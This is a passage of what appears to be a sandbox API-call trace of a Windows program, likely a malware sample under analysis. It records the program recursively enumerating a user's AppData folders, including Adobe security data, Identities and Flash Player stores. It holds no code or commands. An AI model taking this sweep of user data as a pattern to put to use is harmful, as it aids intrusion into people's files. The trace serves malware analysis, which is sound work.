IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*") returned 66 [0116.645] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.645] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.645] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.645] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.645] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.645] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned 70 [0116.645] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*") returned 72 [0116.645] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.646] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.646] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.646] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned 78 [0116.646] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.646] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned 87 [0116.646] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.646] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.646] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.646] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned 67 [0116.646] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*") returned 69 [0116.646] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.657] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.657] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.657] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned 88 [0116.658] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.658] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned 76 [0116.658] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*") returned 78 [0116.658] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.658] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.658] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.658] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 121 [0116.658] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.658] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 121 [0116.658] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0116.658] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.658] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.658] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.658] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.658] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.658] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.658] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.658] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.658] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player") returned 58 [0116.658] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned 60 [0116.658] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.659] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.659] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.659] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned 69 [0116.659] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned 71 [0116.659] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.659] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.659] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.659] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.659] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.659] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.659] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.659] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Headlights") returned 56 [0116.659] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Headlights\\*") returned 58 [0116.659] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.659] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.660] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.660] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics") returned 57 [0116.660] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned 59 [0116.660] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.660] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.660] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned 70 [0116.660] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*") returned 72 [0116.660] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.660] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.660] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.660] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.660] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\LogTransport2") returned 59 [0116.660] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned 61 [0116.660] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.660] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.660] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0116.660] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\aeB3H1UvGkVj.mkv") returned 56 [0116.661] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\bPz2UH.mp3") returned 50 [0116.661] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq") returned 45 [0116.661] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\*") returned 47 [0116.661] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.661] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi") returned 54 [0116.661] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0116.661] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\cTSmIATk-iiB1WNaSfIS.bmp") returned 64 [0116.661] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\HhxENkXSiAjd.bmp") returned 56 [0116.661] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities") returned 50 [0116.661] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\*") returned 52 [0116.661] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.661] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.661] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 89 [0116.661] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned 91 [0116.661] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.661] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.662] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.662] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.662] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0116.662] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\ieeYHL-dYv.png") returned 54 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\J6ldJA-4Fyv0jtZei2q.mp3") returned 63 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\L4JMhNOLijv22J.mp4") returned 58 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libeay32.dll") returned 52 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libevent-2-0-5.dll") returned 58 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libgcc_s_sjlj-1.dll") returned 59 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libssp-0.dll") returned 52 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\lsr2XHXEWF fzF2X.bmp") returned 60 [0116.662] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia") returned 50 [0116.662] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\*") returned 52 [0116.662] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.662] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.662] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.662] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player") returned 63 [0116.662] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned 65 [0116.662] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.663] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.663] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.663] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 78 [0116.663] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned 80 [0116.663] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.663] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.663] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.663] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 86 [0116.663] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned 88 [0116.663] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.663] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.663] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.663] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 98 [0116.663] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned 100 [0116.663] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.663] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.663] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.663] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 102 [0116.663] wvnsprintfW (in: pszDest=0x2a6c890, cchDest=260, pszFmt="%s\\*", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash 